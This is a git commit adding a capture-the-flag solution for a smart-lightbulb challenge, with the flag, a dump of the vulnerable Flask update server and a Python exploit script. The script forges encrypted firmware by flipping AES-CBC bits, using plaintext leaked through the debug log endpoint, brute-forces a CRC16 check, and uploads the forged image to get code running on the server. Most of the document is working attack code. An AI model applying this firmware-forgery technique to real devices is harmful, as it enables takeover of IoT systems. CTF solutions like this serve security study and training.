commit cbc0c7016d80a891e582d0c6e54d260e13a4cc0b
parent 12bb77642f7292853f0a2dde3f0c7939a25479fa
Author: Louis Burda <quent.burda@gmail.com>
Date: Sun, 14 Apr 2024 01:48:44 +0200
Add solution
Diffstat:
7 files changed, 90 insertions(+), 0 deletions(-)
diff --git a/solve/exploit.bin b/solve/exploit.bin
Binary files differ.
diff --git a/solve/flag b/solve/flag
@@ -0,0 +1 @@
+CSCG{The_S_in_IoT_stands_for_security!}
diff --git a/solve/solve b/solve/solve
@@ -0,0 +1,87 @@
+#!/usr/bin/env python3
+
+from Crypto.Cipher import AES
+from crcmod.predefined import mkPredefinedCrcFun
+
+import itertools
+import string
+import struct
+import requests
+import time
+import ast
+import sys
+
+crc16 = mkPredefinedCrcFun("x-25")
+
+def xor(al, bl):
+ return bytes([a^b for a,b in zip(al, bl)])
+
+def upload(session, firmware):
+ baseurl = f"https://{session}-8000-bulb.challenge.cscg.live:1337"
+ open("exploit.bin", "wb+").write(firmware)
+ files = { "file": ("update.bin", firmware, "application/octet-stream") }
+ r = requests.post(f"{baseurl}/update", files=files)
+ assert(r.status_code == 200)
+ if "Update running" in r.text:
+ print("Updating..")
+ time.sleep(10)
+ logs = requests.get(f"{baseurl}/logs").content
+ open("logs.txt", "wb+").write(logs)
+ return logs
+
+def parse(logs):
+ part = logs.decode().split("Decrypted content: ", 1)[1]
+ return ast.literal_eval(part.split("\n")[0].strip())
+
+def fixup(source, target_crc):
+ allowed = set(string.printable) - set(string.whitespace) - {'#', '"', "'"}
+ key = b"{PERMUTE}"
+ addr = bytes(source).index(key)
+ for test in itertools.permutations(allowed, len(key)):
+ source[addr:addr+len(key)] = "".join(test).encode()
+ source[-2:] = struct.pack("<H", crc16(source[:-2]))
+ if source[-2:] == target_crc:
+ break
+ return source
+
+def patch_next(firmware, expectation, reality):
+ for addr in range(0, len(expectation), 16)[::-1]:
+ if expectation[addr:addr+16] != reality[addr:addr+16]:
+ faddr = 64 + addr - 16
+ patch = xor(expectation[addr:addr+16], reality[addr:addr+16])
+ firmware[faddr:faddr+16] = xor(patch, firmware[faddr:faddr+16])
+ print("Mismatch", addr)
+ return firmware, addr == 0
+ return firmware, True
+
+def patch(session, firmware, version, new_source, old_source):
+ prev_source = old_source
+ while True:
+ firmware[8:12] = struct.pack("<I", version)
+ firmware, final = patch_next(firmware, new_source, prev_source)
+ logs = upload(session, firmware)
+ if final: break
+ prev_source = parse(logs)
+
+def main():
+ session = sys.argv[1]
+
+ firmware = bytearray(open("update.bin", "rb").read())
+
+ old_source = bytearray(open("source", "rb").read())
+ #assert(old_source == parse(upload(session, firmware)))
+
+ new_source = bytearray(open("source.new", "rb").read())
+ new_source = new_source[:len(old_source)]
+ assert(new_source[-3] == 0)
+ new_source = fixup(new_source, old_source[-2:])
+
+ patch(session, firmware, 152, new_source, old_source)
+
+ baseurl = f"https://{session}-8000-bulb.challenge.cscg.live:1337"
+ print(requests.get(baseurl).text)
+
+
+
+if __name__ == "__main__":
+ main()
diff --git a/solve/source b/solve/source
Binary files differ.
diff --git a/solve/source.new b/solve/source.new
Binary files differ.
diff --git a/solve/source.repr b/solve/source.repr
@@ -0,0 +1 @@
+b'DECRYPT\x00\x00\x00\x00\x00\x00\x00#!/usr/bin/env python3\nfrom Crypto.Cipher import AES\nfrom challenge_secrets import AES_KEY, APP_KEY\nfrom crcmod.predefined import mkPredefinedCrcFun\nfrom flask import Flask, Response, flash, g, redirect, render_template_string, request, session\nimport io\nimport logging\nimport logging.handlers\nimport os\nimport signal\nimport struct\nimport sys\n\nVERSION_NUM = 150\nVERSION_STR = "1.5.0"\nUPDATE_FILENAME = "bulb-update.py"\nLOG_FILENAME = "bulb.log"\n\nTEMPLATE = """\n<!DOCTYPE html>\n<head>\n<title>Bulb</title>\n</head>\n<body>\n <div style="text-align: center;">\n <h2>Smart Lightbulb</h2>\n <img src="static/bulb-{{current}}.png" style="width: 150px;height: 174px">\n <form>\n <button type="submit" name="value" value="{{next}}" formmethod="post" style="border: outset;">Turn {{next}}</button>\n <button type="submit" name="value" value="color" formmethod="post" style="border: outset;">Change color</button>\n </form>\n </div>\n <div>\n <form style="position: absolute;bottom: 10px">\n <button type="submit" formaction="/update" style="border: none;">Update</button>\n </form>\n <span style="position: absolute;bottom: 10px;right: 10px">Version: {{version}}</span>\n </div>\n</body>\n"""\n\nUPDATE_TEMPLATE = """\n<!DOCTYPE html>\n<head>\n<title>Update</title>\n<style>\ninput[type="submit"], input::file-selector-button {\n background: hsl(210, 98%, 80%);\n border: none;\n border-radius: 5px;\n padding: 0.85em 2.5em;\n\tcursor: pointer;\n margin-top: 0.85em;\n margin-bottom: 0.85em;\n}\n.flash {\n background: rgba(200, 50, 50, 0.5);\n border: black solid;\n display: inline-block;\n border-radius: 5px;\n padding: 10px;\n}\n</style>\n</head>\n<body>\n <div style="text-align: center;">\n <h2>Firmware Update</h2>\n <p>Current version: {{version}}</p>\n {%with messages = get_flashed_messages()%}\n {%if messages%}\n {%for message in messages%}\n <div class="flash">{{message}}</div><br>\n {%endfor%}\n {%endif%}\n {%endwith%}\n <form method=post enctype=multipart/form-data>\n <label for="file">Select update file</label>\n <input type="file" name="file">\n <br>\n <input type="submit" value="Start Update">\n </form>\n <br>\n <p style="max-width: 500px;margin: auto;">If you have any problems with the latest version please <a href="/logs">Download</a> debug files and send them to cusomer support.\n </div>\n</body>\n"""\n\nlog_file = logging.handlers.WatchedFileHandler(LOG_FILENAME)\nlog_stdout = logging.StreamHandler(sys.stdout)\nlogging.basicConfig(handlers=[log_stdout, log_file])\nlogger_switch = logging.getLogger("switch")\nlogger_switch.setLevel(logging.DEBUG)\nlogger_update = logging.getLogger("update")\nlogger_update.setLevel(logging.DEBUG)\n\napp = Flask(__name__)\napp.config["SEND_FILE_MAX_AGE_DEFAULT"] = 300\napp.secret_key = APP_KEY\n\n\n@app.route("/", methods=["GET", "POST"])\ndef index():\n if request.method == "POST":\n match request.form.get("value"):\n case "on":\n session["switch"] = True\n logger_switch.info("Switch On")\n case "off":\n session["switch"] = False\n logger_switch.info("Switch Off")\n case "color":\n session["color"] = not session.get("color")\n session["switch"] = True\n logger_switch.info("Switch Color")\n case _:\n session["switch"] = True\n pass\n return redirect("/")\n match session.get("switch", False), session.get("color", False):\n case [True, True]:\n c_val, n_val = "color", "off"\n case [True, False]:\n c_val, n_val = "on", "off"\n case [False, _]:\n c_val, n_val = "off", "on"\n return render_template_string(TEMPLATE, current=c_val, next=n_val, version=VERSION_STR)\n\n\ncrc16 = mkPredefinedCrcFun("x-25")\n\n\ndef do_update(file):\n data = file.read()\n if len(data) != 8272:\n logger_update.info("Update file has wrong length")\n return False\n magic, version, signed, vendor, product, iv, data = struct.unpack("<8sI?3x16s16s16s8208s", data)\n if magic != b"Update\\x00\\x00":\n logger_update.info("Got wrong magic value %s", magic)\n return False\n if version <= VERSION_NUM:\n logger_update.info("Disallowed downgrade from current version %d to %d", VERSION_NUM, version)\n return False\n logger_update.info("Valid update header for %s %s to version %d", vendor, product, version)\n logger_update.info("Decrypting update content")\n cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)\n data = cipher.decrypt(data)\n logger_update.debug("Decrypted content: %s", data)\n magic, firmware, check_crc = struct.unpack("<8s6x8192sH", data)\n if magic != b"DECRYPT\\x00":\n logger_update.info("Wrong magic on update content %s", magic)\n return False\n calc_crc = crc16(data[:-2])\n if calc_crc != check_crc:\n logger_update.info("CRC check failed. given: %d, calculated: %d", check_crc, calc_crc)\n return False\n if signed:\n # we don\'t need this as data is encrypted\n return False\n logger_update.info("All checks passed, writing new firmware file")\n open(UPDATE_FILENAME, "wb").write(firmware.strip(b"\\x00"))\n os.chmod(UPDATE_FILENAME, 0o777)\n logger_update.info("Firmware has been written")\n return True\n\n\n@app.route("/update", methods=["GET", "POST"])\ndef update():\n if request.method == "POST":\n if "file" not in request.files:\n flash("Something went wrong")\n elif request.files["file"].filename == "":\n flash("No file selected")\n elif do_update(request.files["file"]):\n logger_update.info("Update was successful. Rebooting...")\n if "SERVER_SOFTWARE" in os.environ:\n # running under gunicorn\n os.kill(os.getppid(), signal.SIGTERM)\n else:\n os.kill(os.getpid(), signal.SIGINT)\n flash("Update successful")\n return """\n <!DOCTYPE html>\n <meta http-equiv="refresh" content="3">\n Update running please wait...\n """\n else:\n flash("Invalid update file")\n return redirect("/update")\n return render_template_string(UPDATE_TEMPLATE, version=VERSION_STR)\n\n\n@app.route("/logs")\ndef logs():\n try:\n logs = open(LOG_FILENAME, "rb").read()\n os.unlink(LOG_FILENAME)\n logger_switch.info("Log file downloaded, removing old log")\n except FileNotFoundError:\n logs = b""\n return Response(logs, mimetype="text/plain", headers={"Content-disposition": "attachment"})\n\n\nif __name__ == "__main__":\n app.run(debug=False)\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\t'
+\ No newline at end of file
diff --git a/solve/update.bin b/solve/update.bin
Binary files differ.